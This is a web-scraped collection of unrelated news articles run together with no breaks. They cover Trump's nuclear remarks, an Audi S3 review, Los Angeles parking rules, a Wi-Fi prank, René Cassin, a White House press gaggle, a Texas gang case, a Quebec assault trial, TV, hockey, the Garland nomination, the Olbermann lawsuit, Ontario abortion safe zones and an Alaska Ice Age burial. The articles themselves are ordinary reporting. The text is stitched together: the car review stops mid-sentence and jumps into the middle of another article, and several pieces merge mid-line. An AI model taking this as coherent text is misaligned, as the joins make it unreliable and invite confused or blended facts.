Since the United States presently has around 900 deployed nuclear warheads on missiles subject to launch within less than a half hour (another 480 are associated with bombers that function more slowly), it’s an inescapable fact that this rigid protocol of singular command and unblinking, system-wide nuclear response raises the stakes of every presidential election. As ten former launch nuclear launch control officers said in a joint statement on Oct. 13, “the pressures…are staggering, and require enormous composure, judgment, restraint and diplomatic skill.”
They went on to complain that Trump doesn’t have these qualities.
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Is this fair? Trump did say in a primary debate that “we have to be extremely vigilant and extremely careful when it comes to nuclear.” He might be erratic, and uninformed; after all, he called the New Start nuclear arms treaty the “Start Up” treaty, as if he was weighing a new investment. But would he really want to put dozens of gleaming Trump Towers and hotels, Trump Plazas, and Trump golf courses in 40 cities, plus the nation’s population, at risk by initiating a nuclear exchange?
Clinton strikingly accused Trump in the third debate of being “very cavalier, even casual about the use of nuclear weapons.” She also said Trump had told Asian nations engaged in a nuclear competition to “go ahead, enjoy yourselves, folks.”
Trump has called these claims a distortion. In March he said “maybe it’s not so bad…if Japan had that nuclear threat.” He also said this is “going to happen whether we like it or not,” and that other countries such as South Korea and Saudi Arabia might also get the bomb unless the world gets “rid of them entirely.” But this seemed like more of a prediction than an endorsement, particularly when viewed alongside his remark last January that nuclear proliferation – including the seizure of a warhead by a madman – is “the single biggest problem that our country faces right now.” When asked again about Japan that month, however, Trump muddied the water further: “Maybe they would be better off – including with nukes, yes, including with nukes.”
Separately, at a rally before the Wisconsin primary the following month, Trump said if war one day broke out between Japan and North Korea, Japan would “wipe them out pretty quick.” He also said “it would be a terrible thing” but then added, in a characteristically flippant way, “Good luck. Enjoy yourself, folks,” according to The Guardian’s account of his remarks. He was not, he told Clinton at the third debate, endorsing a nuclear exchange between the two.
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But didn’t he also ask some foreign policy expert why – if we have nuclear weapons – can’t we use them? This remark has been cited widely. Isn’t this scary, as Clinton’s supporters say?
The quote originated in a claim by Joe Scarborough, a popular cable TV host who has distanced himself from Trump. But Scarborough hasn’t said who he heard it from, so there hasn’t been any corroboration; Trump, moreover, has denied saying it. Even if he did, he wouldn’t be the first non-expert to attempt to understand what, exactly, the massive U.S. arsenal of nuclear weapons is for. Just asking the question doesn’t make him trigger-happy.
Okay, but this is still confusing. Trump has said he wants to build more nuclear warheads – only the Russians are doing that now, he says—but at the same time he warns countries in Europe and Asia that depend on our nuclear arsenal that they will have to go it alone, unless they pay us a lot more money.
Clinton has attacked Trump’s position, claiming that “he wants to tear up our alliances.” But Trump’s argument is economic, not political. It’s based on the fact that key U.S. allies – such as Japan, Germany, and South Korea -- contribute only a small portion of the costs of defending their territory from attack, as a legacy of policies dating from World War II. The U.S. share of total defense spending in Europe by all NATO members, for example, exceeds 70 percent, although some of this spending is for forces that can be used elsewhere in the world. Washington’s share of NATO’s direct budget (for its operations and staff) is far less -- roughly 22 percent -- but still larger than anyone else's.
Here are Trump’s words at the third debate: “We’re defending other countries. We are spending a fortune doing it. They have the bargain of the century…We have to renegotiate those agreements.” He went on: “South Korea, these are very rich, powerful countries. Saudi Arabia, nothing but money. We protect Saudi Arabia. Why aren’t they paying?” Actually, they do pay billions of dollars to reimburse some U.S. costs. But senior U.S. officials, including Obama himself, have repeatedly expressed identical frustrations; in April, Obama colorfully called them “free riders,” virtually echoing Trump.
There still seem to be many other disagreements between Trump and Clinton. Do they agree about anything related to the nation’s defense?
Yes. Both have proposed policies that almost certainly would require an increase in military spending. But this is at best an uncertain prospect, since Democratic lawmakers have said they will agree only if Republicans agree to commensurate increases in non-defense spending, which most Republicans still oppose. Although the makeup of Congress will doubtless change next year, this deadlock could persist.
The Center for Public Integrity is a nonprofit investigative news organization based in Washington, D.C.Share Pinterest
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Audi delivers a mild update for one of our favorite subcompact sedans ahead of its big RS3 news, still about nine months away; for now, the S3 makes do with some freshening here and there.
We’d guess that freshening makes a better car, but the 2017 S3 is essentially what it already was: a well-finished small sedan that’s good at lots of things and one that delivers rational daily transport without fear of frequent malaise. The S3’s ultimate appeal might come down to brand or exactly how much you believe a luxury badge is worth.
Its 2.0-liter inline-four is carryover and different from the new, 186-hp 2.0 T in the base A3 sedan. The iron blocks are the same, but the S3 has a different head, fortified innards and a different turbo. The S3’s engine is identical to that in the Volkswagen Golf R (a close corporate platform-mate), with the same 292 peak hp and 280 lb-ft of torque. It’s the most powerful car in its luxury-brand class, save the alpha pups: the fully tuned Mercedes AMG CLA 45 and the BMW M2. More on that in a minute.
The S3 keeps its six-speed dual-clutch automatic, too, as opposed to the seven-speed introduced in the base A3. The only noteworthy change in the drivetrain is a new control strategy for the all-wheel-drive system -- the so-called "RS strategy." Based on the Audi TT RS, the S3’s AWD has a more pronounced rearward torque bias and less willingness to shift power forward, even if it oversteers.
There are the familiar S-grade enhancements, including larger brakes than the standard A3, quicker steering (14.3:1 versus 15.3:1) and optional electro-magnetic adaptive suspension. The S3’s wheels measure 18 or 19 inches in diameter, with full performance tires available.
What, exactly, is new? Some fairly subtle styling adjustments, starting with a new-but-familiar-looking grille, reworked front and rear fascias and aluminum caps for the side mirrors. Inside, an updated infotainment system can record lap times. The standard audio pumps 180 watts through 10 speakers and a sub, and Audi’s Virtual Cockpit -- a high-res video display in place of conventional gauges -- is optional. The new S3 also offers an expanded suite of safety features and driver aides, including standard Pre-Sense emergency braking.
The new S3 is trickling into Audi dealerships as you read this, starting at $43,850 with the $950 destination charge. The base price is $400 more than last year but now includes full LED headlights (an $1,100 option in 2016), with standard manual leather seats, dual-zone climate control and a big sunroof. Premium Plus and Prestige packages add more stuff, like the adaptive suspension, audio upgrades and driver aids.
Since it launched the original A3 hatchback for 2006, Audi has had a better go at the bottom of the luxury class than its German competitors had previously. Even with more competitive entries from BMW and Mercedes -- the 2-Series and CLA -- Audi still leads in sales. With 30 percent of the U.S. market for the smallest luxury-brand sedans, the A3/S3 holds one of the largest market shares of any Audi.
And soon, Audi will add one more element to its 3-level equation. At the S3 introduction, company officials confirmed U.S. sales of the new RS3 this summer, powered by the 2.5-liter five-cylinder currently offered in the TT RS. With 400 hp and 354 lb-ft of torque, it will out-power both the M2 and CLA 45.
What's it like to drive?
The 2017 Audi S3 doesn’t feel particularly luxurious. It just feels like a well-engineered, well-appointed and generally well-finished car. There are things to pick at, given the $44,000 base price, but the person who spends time in its driver seat is not likely to be bored.
The engine is engaging, four-cylinder or not, and generally punches above its weight. This 2.0T can get some weird harmonics going when it’s held at certain revs, but you’ll notice only if you’re looking for it. It never intrudes in the normal course of business. Cruising along at 90 on an empty freeway, engine turning a bit past 3,000 rpm, you’re never inclined to think “this thing has a four.”
It’s plenty quick, too -- enough so that reviewers of a certain age will remember when this S3’s acceleration times would have been approaching supercar territory. The engine runs out of steam over the last 800 rpm or so, so there’s really no point in revving all the way to redline. You’ll notice this when there’s room to keep the gas pedal flat for two or three upshifts, but it actually adds a certain visceral enhancement. When horsepower peaks and the engine keeps spinning toward its limiter, acceleration briefly wains. At the next upshift, when the engine drops back into the fat part of its torque range, the S3 surges again with a subtle kick in the small of the back.
The six-speed is smooth as dual-clutch automatics go -- nowhere near the point where annoying, light-throttle lurches overwhelm its performance or efficiency advantage -- and tuned almost perfectly for the S3’s power delivery. Automatic shifts come often and quickly, up or down. Manual operation is satisfying enough to be worth the trouble on swooping two-lanes through the Blue Ridge Mountains, but it might present issues on a racetrack. Unless there’s a super-secret input code we failed to find, the S3 transmission won’t hold a gear at the redline. It always shifts up, whether you want it to or not.
The brake pedal grabs quickly, with |
Pits and the Natural History Museum are free on the first Tuesday of every month except in July and August.
And the most important and essential L.A. hack is...
Before 6 pm: ticket. After 6 pm: golden ticket. Cody Dematteis / Flickr
1) Park at yellow curbs after 6 p.m. (and all day Sunday) for FREE
About six years ago I was driving to the Echoplex to see the Silver Jews. I was with a young lady I was dating, looking for parking, and we saw a spot - perhaps the most perfect spot God has ever seen fit to create - across the street on Glendale.
"You know," my date said, "You can park at yellow curbs after 6."
"Really?" I asked. I'd lived in Los Angeles my entire life, and this was the first I'd heard about this. Could it really be such a tightly kept secret? "Maybe we'll just look a little longer I said," guiding my car around the bend.
"I can't believe you don't believe me," she said. After a huge fight, and two hours of Dave Berman's idiosyncratic folk rock, we went home and Googled it, and the world opened up before me.
Los Angeles Municipal Code, Chapter VIII, Section 89.38, reads:
No person shall stop, stand or park a vehicle between the hours of 7:00 o'clock A.M. and 6:00 P.M. on any day except Sunday in a commercial loading zone indicated by yellow curb except that commercial vehicles may stop or stand for the purpose of loading or unloading freight for the time necessary therefor, but not to exceed 20 minutes.
The law doesn't exactly spell it out for you, but ask any traffic officer and they'll confirm it: You can legally park at yellow curbs after 6 p.m. and on Sundays.
Let me rephrase: YOU CAN PARK LEGALLY, AND FOR FREE, AT YELLOW CURBS AFTER 6 P.M. AND ON SUNDAYS. (The rule is the same in West Hollywood and Santa Monica. Not sure about the rest of L.A. County, so watch out for Inglewood, Pasadena and the like.)
The rule is so random and so seldom talked about, it's almost as if someone said, "You know, on Thursday nights at 11:30, the homeless will give you money."
It is, without a doubt, the best kept secret in Los Angeles - so don't tell anybody!Let's be honest, how many of us really read the terms and conditions when we sign up for anything? Well, 22,000 people unwittingly signed up to carry out 1,000 hours of community service in exchange for free Wi-Fi. Oops!
Public Wi-Fi provider Purple added a spoof term to its T&Cs on its network of branded hotspots to illustrate the "lack of consumer awareness" of what people are signing up to when accessing free Wi-Fi portals.
In agreeing to the spoof T&Cs, people unwittingly agreed to a "community service clause" which signed them up to clean portaloos, hug stray cats, and paint snails' shells. Wow.
The user may be be required, at Purple’s discretion, to carry out 1,000 hours of community service. This may include the following. Cleansing local parks of animal waste. Providing hugs to stray cats and dogs. Manually relieving sewer blockages. Cleaning portable lavatories at local festivals and events. Painting snail shells to brighten up their existence. Scraping chewing gum off the streets.
Surprisingly, only one person during the two-week-long prank spotted the term.
The prank forms part of Purple's announcement that it's the first General Data Protection Regulation (GDPR) compliant Wi-Fi provider, falling in line with the UK government's new legislation which comes into force in May 2018. The new GDPR laws will introduce a condition requiring "unambiguous consent" before users’ personal or behavioural data can be used for marketing purposes.
"Wi-Fi users need to read terms when they sign up to access a network. What are they agreeing to, how much data are they sharing, and what license are they giving to providers? Our experiment shows it’s all too easy to tick a box and consent to something unfair," says Gavin Wheeldon, CEO of Purple.
Thankfully, the company has no intention of forcing anyone to clean loos or paint snail shells. What a relief.This article is about the person René Cassin. For the human-rights group named after him, see CCJO René Cassin
René Cassin.
René Samuel Cassin (5 October 1887 – 20 February 1976) was a French jurist, law professor and judge.
Cassin was born in Bayonne, Basque Country, France. The son of a French-Jewish merchant, he served as a soldier in World War I, and went on to form the Union Fédérale, a leftist, pacifist Veterans organisation. He received the Nobel Peace Prize in 1968 for his work in drafting the Universal Declaration of Human Rights, adopted by the United Nations General Assembly on 10 December 1948. That same year, he was also awarded one of the UN's own Human Rights Prizes. René Cassin founded the French Institute of Administrative Sciences (IFSA) which was recognized as a public utility association.
League of Nations [ edit ]
As French delegate to the League of Nations from 1924 to 1938, Cassin pressed for progress on disarmament and in developing institutions to aid the resolution of international conflicts.
Human rights and NGOs [ edit ]
Working from a draft composed by Canadian scholar and professor of law John Humphrey, Cassin reduced the draft from 46 basic articles to 44. The Universal Declaration of Human Rights, as eventually adopted by the United Nations General Assembly, contained 30 human rights articles from the original draft.
He served on the UN's Human Rights Commission and the Hague Court of Arbitration.
He was also a member (1959–1965) and president (1965–1968) of the European Court of Human Rights. Today the court building is on the Allée René Cassin in Strasbourg.
Cassin also headed many Non-Governmental Organisations (NGO), founding the French Federation of Disabled War Veterans in 1918 and until 1940 serving as its president and then honorary president. In 1945, Charles de Gaulle suggested Cassin, having done so much for the French people, also do something to help the Jewish people. Cassin became the president of the French-Jewish Alliance Israelite Universelle (AIU) which had previously been primarily dedicated to educating Sephardi Jews living under the rule of the Ottoman Empire according to a French modernist curriculum. As president of the AIU, Cassin worked with the American Jewish Committee and the Anglo-Jewish Association, to found the Consultative Council of Jewish Organisations, a network dedicated to building support for Cassin's platform of human rights from a Jewish perspective[clarification needed] while the UN human rights system was in its early stages of development.[1] In 2001, CCJO René Cassin was founded in Cassin's to promote Universal Human Rights from a Jewish perspective. The René Cassin medal is awarded by the CCJO to those who have made an outstanding global contribution to human rights. As the head of the Alliance Israélite in France, he pursued civil rights for the Jews and was an active Zionist. A high school in Jerusalem is named after him.
On 10 November 1950, he was photographed at a U.N. radio alongside Karim Azkoul, Georges Day and Herald C.L. Roy, participating in a roundtable discussion for the use of French-speaking countries. This is perhaps all the more interesting because Azkoul and Cassin differed so strongly in their perspectives concerning the politics of Zionism.[2]
Cassin died in Paris in 1976 and was initially interred at the Montparnasse Cemetery in Paris. In 1987, his remains were exhumed and enshrined in the crypt of the Panthéon in Paris.
In 2003, the Basque Government created the René Cassin Award, "with the goal of publicly acknowledging and rewarding individuals or collectives that, through their personal or professional path, showed a strong commitment to the promotion, defence and divulgation of Human Rights". The award is given on December 10, International Human Rights Day.[3]
French Institute of Administrative Sciences [ edit ]
France Memorial to Cassin in Forbach
In 1947, René Cassin created the French Institute of Administrative Sciences (IFSA) which was recognized of public utility. He was the first president of this association which organized many conferences that helped to develop the French doctrine in administrative law.
See also [ edit ]
Bibliography [ edit ]
Jay Winter, "Rene Cassin and the Alliance Israelite Universelle," Modern Judaism, 32,1 (2012), 1–21.CLOSE In a rather unsettling move the White House scheduled an invitation-only press gaggle and did not invite every news organization. USA TODAY NETWORK
The entrance to the Brady Briefing Room after reporters were excluded from a press gaggle by White House press secretary Sean Spicer on Feb. 24, 2017. (Photo: Mark Wilson, Getty Images)
WASHINGTON — News organizations protested a White House decision Friday to hold a news briefing by invitation only.
The briefing list excluded CNN and the New York Times, outlets with which President Trump and the administration has clashed over reports on investigations into possible contacts between Trump associates and Russia during last year's election campaign.
Organizations such as Politico, the Los Angeles Times, BuzzFeed, and USA TODAY did not receive invitations to the on-the-record gaggle conducted by White House press secretary Sean Spicer.
"We don't need to do an on-camera briefing every day," Spicer told reporters.
The Associated Press and Time declined to attend the session, while the White House Correspondents Association said in a statement it is "protesting strongly" against the way the event was handled.
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USA TODAY did not receive an invitation and opted not to try to attend the session.
Attendance was limited to the day's pool — a group of reporters that represent newspaper, television, radio and wire at presidential events where there is not enough room for full coverage — and a smattering of other news organizations, some of them considered favorable to the Trump administration.
Most of the questions dealt with the Russia story, the source of friction between the Trump administration and some news outlets.
The invitation-only session came just hours after Trump gave a speech to the Conservative Political Action Committee in which he again attacked the "fake" news media.
"A few days ago I called the fake news the enemy of the people," Trump said. "And they are. They are the enemy of the people."
Trump also vowed the White House would do something about the coverage.
White House spokeswoman Sarah Sanders said the White House had never planned to do a full press briefing Friday, because Trump was speaking in the morning, and the president of Peru was scheduled to visit the White House. The White House schedule released Thursday evening said there would be a gaggle, not a full briefing.
"There is a limited amount of room in Sean’s office and we wanted to do an informal gaggle," Sanders said. "No precedent here. The pool was included so that everyone could get info.".
Read or Share this story: http://usat.ly/2mgazTf'Whites only' East Texas meth dealer pleads guilty
Vicki Stark-Fitts (HCSO) Vicki Stark-Fitts (HCSO) Image 1 of / 5 Caption Close 'Whites only' East Texas meth dealer pleads guilty 1 / 5 Back to Gallery
A 49-year-old East Texas woman has admitted her role in a "whites only" criminal enterprise that sold methamphetamine and engaged in murder, federal prosecutors said.
Vicki Stark-Fitts pleaded guilty Friday to taking part in a pattern of racketeering activity that included conspiracy to distribute methamphetamine and commit murder, U.S. Attorney John M. Bales announced Friday.
Kenny Don Stanley, 25, of Vidor; Tanner Lynn Bourque, 33, (aka "Two Shoes" and "Hitman") of Port Arthur; and Kristopher Leigh Guidry, 28, (aka "Hollywood"), each pleaded guilty to murder in aid of the racketeering activity earlier this summer.
The four were charged in a seven-count indictment returned Aug. 7 by a federal grand jury, the latest in a series of prosecutions in East Texas targeting members and associates of the SWS and the Aryan Brotherhood of Texas (ABT) criminal gangs, according to a press release from the U.S. Attorney's Office, Eastern District of Texas.
SWS is a race-based organization operating inside and outside of jails and prisons in Texas and elsewhere, the indictment states. SWS, also known as "Solid Wood Soldiers" and "Separate White State," was founded in the 1990s by inmates at the Texas Department of Criminal Justice.
"Although the founders established SWS for protection of white inmates and advancement of white supremacy and white separatism, SWS expanded its objectives to include illegal activities for profit, including trafficking methamphetamine and firearms," the press release states. "SWS protects its power, territory, and profits through intimidation and violence, including assaults, robbery, and murder."
Federal prosecutors said that from September 2010 to January 2011, Bourque, Guidry and other SWS members manufactured "shake and bake" methamphetamine for distribution in the Orange County area.
In February 2011, Bourque, Guidry and other SWS members began associating with Stark-Fitts, who supplied them with crystal methamphetamine and firearms, according to federal prosecutors.
While SWS member James Lee Sedtal (aka "Lil Bit") was delivering meth in Orange County, Sedtal used one of Stark-Fitts's guns to shoot and wound an Aryan Brotherhood of Texas member, according to information presented in court.
ABT operates in Orange County area of Texas and other areas, prosecutors said, wielding supremacy over SWS in Orange County.
During the early morning hours of March 14, 2011, Stanley shot and killed Sedtal at Stark-Fitts's residence in Liberty County, according to the press release. Bourque had ordered Stanley to kill Sedtal to prevent ABT from retaliating against SWS for Sedtal's shooting of the ABT associate.
Later that morning, Bourque, Stark-Fitts, Guidry, and Stanley drove to a deserted logging trail in Hardin County where they disposed of Sedtal's body. His body was recovered nine days later inside a burned out car.
Stanley, Bourque, Guidry each pleaded guilty to a federal charge of murder in aid of racketeering. They face a punishment of life imprisonment. Stark-Fitts pleaded guilty to a violation of RICO (Racketeer Influenced and Corrupt Organizations Act), and faces up to life in prison.
The indictment charged all 12 defendants with conspiracy to distribute methamphetamine. If convicted, they face a punishment range of 10 years to life in prison.
The case is being prosecuted as part of Project Safe Neighborhoods Time Machine Initiative, aimed at "reducing gun and gang violence, deterring illegal possession of guns, ammunition and body armor, and improving the safety of residents in the Eastern District of Texas," according to the release.
Also assisting in case are the ATF, FBI, U.S. Marshals Service, U.S. Secret Service, U.S. Bureau of Prisons, DEA, Texas Rangers, Department of Public Safety CID, Texas Department of Criminal Justice OIG, Orange County Sheriff's Office, Hardin County Sheriff's Office, Jasper County Sheriff's Office, Tyler County Sheriff's Office, Jefferson County Sheriff's Office, and Beaumont Police Department.A Quebec City lawyer on trial for common assault after making a citizen’s arrest says he was within his rights to use zip ties to restrain the hands and feet of a neighbour he believed was stealing cat food left outside his door.
Police were called to Bernard Corbeil’s home in February 2013 to take a woman into custody.
Corbeil's trial heard that he planned the capture when he became fed up with cat food constantly disappearing after it was set outside his door.
His neighbour, however, said that rather than stealing the food, she was removing it because it made her cats sick.
Officers called to Corbeil's home found the alleged thief with a bloodied face, her hands and feet bound by plastic zip ties.
Security camera video shows the 65-year-old lawyer throwing a towel over the woman’s head and then forcing her to the ground face down.
In the video, Corbeil uses his knees to pin the woman while he restrains her hands and feet with zip ties brought to him by his wife from inside the house.
Bernard Corbeil is a Quebec City lawyer who used zip ties to make a citizen's arrest of his neighbour, whom he accused of trying to steal cat food. He is on trial for assault over the incident. (Radio-Canada)
The video is now serving as evidence against the lawyer in his trial, which began Tuesday and resumes Dec. 5.
A question of limits
The Crown prosecutor says Corbeil went beyond the limits imposed by the Criminal Code on citizen’s arrests.
Corbeil is defending himself at his trial and alleges the woman is a thief.
He maintains that the force he used in his citizen's arrest was within reason.
New rules for citizen's arrests introduced by the federal government in 2013 say someone acting in protection of themselves, family or property won't face criminal sanction provided their actions are "reasonable" under the circumstances.
However, it's up to courts to decide the boundaries of what actions are reasonable.Clayton Kelly, 29, a blogger, was accused of shooting cellphone video of Cochran’s wife Rose while she was in her bed at a nursing home. Blogger sentenced to 5 years for taping Sen. Cochran's ailing wife
A Mississippi man who last week pleaded guilty to one count of conspiracy for videotaping the ailing wife of Sen. Thad Cochran has been sentenced to five years in prison, though he will be released after two-and-a-half years.
Clayton Kelly, 29, a blogger, was accused of shooting cellphone video of Cochran’s wife Rose while she was in her bed at a nursing home. The images appeared briefly online during a particularly competitive Republican primary race between Cochran and state Sen. Chris McDaniel.
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According to the Clarion-Ledger, Kelly also faced burglary and attempted burglary charges but avoided those as part of the last-minute plea deal before jury selection that will allow him an early release.
Cochran’s wife died in December at the age of 73 after living in a nursing home for 13 years.The 77-year-old Mississippi senator married long-time aide Kay Webber in late May.
CORRECTION: A previous version of the article misstated when Cochran married Webber.
CORRECTION: Corrected by: Jennifer Shutt @ 06/15/2015 01:40 PM CORRECTION: A previous version of the article misstated when Cochran married Webber.Ginnifer Goodwin and Josh Dallas are using a lot of their experiences as new parents for their roles in “Once Upon a Time.”
The couple, who play Snow White and Prince Charming (also known as Mary Margaret and David), welcomed baby Oliver in May, while their TV characters had a son named Neal late last season.
“I haven't started acting yet this year,” Goodwin told reporters during a recent “OUAT” set visit in Vancouver. “I just show up exhausted and have to be exhausted Mary Margaret.”
Will Elsa Get a Makeover on 'Once Upon a Time'?
She added that the writers and producers will ask, “'How are you?' I'm like, 'I'm tired.' And they're like, ‘We have a great episode for you coming up.’”
The 36-year-old is also using her new mom skills on the set. Goodwin explained that “OUAT” uses eight babies for her son Neal, adding that she can definitely tell them apart.
“That's a new mom quality I have,” Goodwin said. “I used to be like, 'babies look like babies.' And now that I have a baby, I'm like, how does the audience not notice that in every shot, this is a different kid?”
Ginnifer also touched on Mary Margaret’s parenting style, explaining that she didn’t feel deserving of baby Neal. “She believes that she needs to be like this ridiculously, unrealistically perfect, multi-tasking mayor mother... she's also scared to ask for help.”
Watch “Once Upon a Time” on Sundays at 8 PM on ABC.“So Todd, what would you say… you do here?” pic.twitter.com/Og2T7tpuNY — Connor McJeanshorts (@JSBMjeanshorts) May 7, 2015
It looks like Peter Chiarelli is doing his due diligence as reports circulate that Todd Nelson will be interviewed for the Head Coaching position at some point this weekend. I’m not going to lie, having all these “interviews” for positions within the Oilers organization seems so foreign to me. These are strange times, friends.
Regardless of what happens with the head coaching position, I feel for Todd Nelson. The guy came in as the interim head coach, did his best with what he had, knew that he may not stick as the full time guy, and is currently waiting to see how things shake out. That’s a tough way to go into the summer. Think about it: Nelson has to wait and see how things shake out before he can really plan the next few years of his life. On the bright side, that wait may be coming to end.
According to Darren Dreger, Todd Nelson will sit down with Peter Chiarelli to talk about the position, and likely his future with the organization. Per Dreger:
Todd Nelson will interview for the Oilers head coaching job this weekend. Obviously, Chiarelli wants to get to know Nelson a bit better… — Darren Dreger (@DarrenDreger) May 7, 2015
Nelson still has term remaining on his AHL contract, but if not a fit in Edmonton it’s expected he will attract other NHL interest. — Darren Dreger (@DarrenDreger) May 7, 2015
To me, it makes sense that Chiarelli would want to sit down with Nelson. Nelson was not hired by Peter Chiarelli, and the new GM likely doesn’t know all that much about him yet. Making matters more complicated is the fact that Todd Nelson still has time left on his contract. Does he really want to go back to coaching in the AHL? To me, it wouldn’t be unreasonable for Nelson to ask for permission to find a job elsewhere if he doesn’t land a gig in the NHL coaching staff going into next season. Being passed over for the head coaching job twice in a row would be a big shot to anyone’s ego.
Nelson aside, I still think that the Oilers need a head coach with some experience leading the charge. Ideally, I would like to see Todd Nelson in an associate coaching role so that the Oilers can continue to capitalize on the existing relationships that he formed with the players. Whether or not Todd Nelson (or the Oilers) is up for that kind of arrangement is still up in the air.
As Lowetide would say, we wait…If Republicans keep their promise, Garland, a Chicago-area native who’s now chief judge of the D.C. Circuit, may end up not being considered at all by the Senate. Obama chose him deliberately: The president digs his values, personal history, and jurisprudence, but also wanted a candidate who is well respected on both sides of the aisle in the hopes that he’d be hard for Republicans to ignore. Obama said Thursday that Garland may be “as good of a judge as we have in this country right now.”
“No one has plausibly made an argument that this is not the kind of person we’d want on the Supreme Court,” he said. “The question then becomes, why is it so hard for the guy just to get a hearing and a vote?”
The inter-party battle over an Obama nominee began in February when Justice Antonin Scalia died on a hunting trip at a Texas ranch. Majority Leader Mitch McConnell sent out a statement that day that established the party line: “The American people should have a voice in the selection of their next Supreme Court Justice,” he said. “Therefore, this vacancy should not be filled until we have a new president.” His memo was sent roughly an hour after Scalia’s death was confirmed, shortly before the president announced his own intention to fill the seat.
Republicans across the country immediately got on board, citing input from voters, Obama’s liberal agenda, and the timing of the vacancy as justifications for delaying the appointment. Chuck Grassley, the chairman of the Judiciary Committee, said in a statement that “it’s been standard practice over the last nearly 80 years that Supreme Court nominees are not nominated and confirmed during a presidential election year.” (The New York Times has a helpful graphic that suggests the timeline isn’t so simple.)
Now, more than two months since Scalia’s death, Republicans and Democrats are waging mirroring PR campaigns about the nomination (with the slogans #BidenRule and #DoYourJob, respectively). Most Republicans, though not all, have refused to meet with Garland. Fired-up Senate-floor speeches from both parties have become routine. In swing-state primary races, Democrats and liberal interest groups are pushing incumbent Republicans to ignore their party’s position.
In Chicago on Thursday, Obama elevated the stakes: He suggested this kind of polarization would effectively break the judicial branch. If the courts are more politicized, citizens will “lose confidence” in judges’ ability to be fair and to issue legitimate rulings. “It’s not just a matter of who’s occupying that ninth seat in the Supreme Court,” he said. “It has to do with how we as a democracy operate.” He suggested Republican inaction could precede Democratic inaction years from now, when a conservative is in the White House looking to fill a seat. It is “inconceivable,” he said, to expect Democrats to agree to hearings and a vote in the future if Republicans don’t hold them now.
Although he didn’t let Democrats totally off the hook—noting they, too, have used filibustering to block Republican nominees—he blamed Republicans for creating a harmful precedent. They “have decided that placating [their] base is more important,” he said “than upholding their constitutional and institutional roles in our democracy.”Keith Olbermann has answered Current TV's cancellation of his show with a lawsuit.
Olbermann is suing the cable network, co-founded by Al Gore, for breach of contract, among other things. The complaint was filed today at the California Superior Court of Los Angeles County.
Olbermann's attorneys, Patricia Glaser and Jill Basinger, say in the complaint that "After being enticed to leave MSNBC and come to Current with promises of editorial control, freedom from corporate influence, and the professional support to produce a high-caliber political commentary show... Keith Olbermann was disheartened to discover Al Gore, Joel Hyatt and the management of Current are no more than dilettantes portraying entertainment industry executives."
The complaint says Olbermann was terminated "without basis" and that he was "disparaged in the press on numerous occasions." The TV host says that he is still owed somewhere "between approximately $50 million and $70 million" in compensation by the cable network.Ontario's government is proposing to create some of North America's most far-reaching rules limiting anti-abortion protests with plans to enforce wide safe zones around abortion clinics, hospitals and the homes of health-care workers who perform the procedure.
Protests within 50 metres of Ontario's abortion clinics would be automatically banned, according to a bill introduced in the province's legislature by Attorney General Yasir Naqvi on Wednesday. Clinics, hospitals and pharmacies that provide the procedure or the abortion pill Mifegymiso could also apply for a so-called safe-access zone of up to 150 metres. Staff at health-care facilities that provide abortion services would automatically receive a 150-metre safe zone around their homes.
"The idea is simple, women should have free and easy access to these clinics without somebody stopping them or subjecting them to imagery that could be very traumatic and disturbing," Mr. Naqvi told reporters on Wednesday at a community clinic in downtown Toronto.
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Anyone violating a safe zone would face a fine of up to $5,000 and six months in jail for a first offence. Penalties for subsequent offences could see fines increase to $10,000 and up to a year in jail.
Rules restricting protest around abortion clinics have existed in Canada for decades under a patchwork of temporary court injunctions. However, a number of provinces have legislated permanent bans, including British Columbia, Quebec, as well as Newfoundland and Labrador. While the rules differ between provinces in terms of the size of safe zones and penalties, Ontario's proposal would create one of the most expansive and harshest regimes against protest.
While there won't be signs demarcating the edge of each safe zone, Mr. Naqvi said his office has reached out to Ontario's chiefs of police for ideas because local officers will be responsible for informing would-be protesters about the myriad safe zones created by the bill and enforcing them.
Mr. Naqvi said "action was needed" and the bill was quickly written after a series of incidents in Ottawa earlier this year at the Morgentaler Clinic, including one where a woman walking into the clinic was spat on. There have been a growing number of reports about anti-abortion protests across the province that have prevented women from accessing clinics, he said, adding that the protests put the safety and privacy of patients and workers at risk.
"While I strongly support everyone's fundamental right to freedom of expression, our laws must balance that right with keeping people safe," he said.
Sarah Hobbs Blyth, executive director of Planned Parenthood Toronto, said the zones will help ensure safe access to legal abortion services. Some of the patients at her office have been upset after they've had to walk through protesters.
"People's right to health care trumps somebody's ability to protest in front of that health-care facility," she said. "This legislation is very strong in protecting our provider's rights to perform a legal procedure."
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The British Columbia Civil Liberties Association said the issue of safe zones caused one of the group's most difficult debates after the zones were created in that province. The association eventually supported the law.
After Ontario's bill was proposed on Wednesday, the anti-abortion group Campaign Life Coalition said the legislation violates the Charter of Rights and Freedoms by squashing free speech. "This is about silencing peaceful pro-life witnessing and preventing women from having access to alternatives," the group said in a statement.
Progressive-Conservative Leader Patrick Brown accused the government of looking to reopen a divisive issue. "Kathleen Wynne has an agenda. That agenda is to reopen debates about divisive social issues. No one wants this. I don't want it," he said.In what's now central Alaska, one of the first Americans—only three years old at the time—was laid to rest in a pit inside his or her house 11,500 years ago, a new excavation reveals.
The ancient home site and human remains—the oldest known in subarctic North America—provide an unprecedented glimpse into the daily lives of Ice Age Americans, scientists say.
What's more, if the remains yield usable DNA, the child could help uncover just who was living on the North American side of the land bridge that likely still connected the Americas to Asia at the time, experts added.
One thing that apparently isn't a mystery is how the child was memorialized.
"You can see that the child was laid in the pit—a fire hearth inside the house—and the fire was started on top of the child," study co-author Joel Irish said. Charred wood from the pit allowed scientists to assign a radiocarbon date to the site.
After the cremation, the child's hunter-gatherer clan apparently filled the 18-inch-deep (45-centimeter-deep) hearth with soil and abandoned the dwelling. No other artifacts exist above the fill line.
Even the new find represents only 20 percent of the child's skeleton, offering few clues as to how the child died. But what's left makes it clear that the youngster died before burial and was placed in a position of peaceful repose.
Daily Life in Ice Age Alaska
"From our perspective, the child is certainly extraordinary, but the house is also unique," said study co-author Ben Potter.
Remains of salmon, ptarmigan, ground squirrels, and other animals suggest the hearth was in use for weeks or months before it was turned into a grave, the study says.
The dwelling's floor had been dug about 11 inches (27 centimeters) into the ground. Poles may have supported walls and a roof, according to telltale stains in the sediment.
In other words, this was a home—the oldest known in Alaska.
"All of the other finds dating to this period or earlier tend to be associated with either short-term hunting camps, or workshops where people are gathering high-quality stone materials and working them into tools," said Potter, an anthropologist at the University of Alaska Fairbanks.
Anthropologist Ted Goebel, who wasn't involved in the research, agreed. "What's most exciting for me is that we finally seem to hit upon a residence site where it looks like people were actually living."
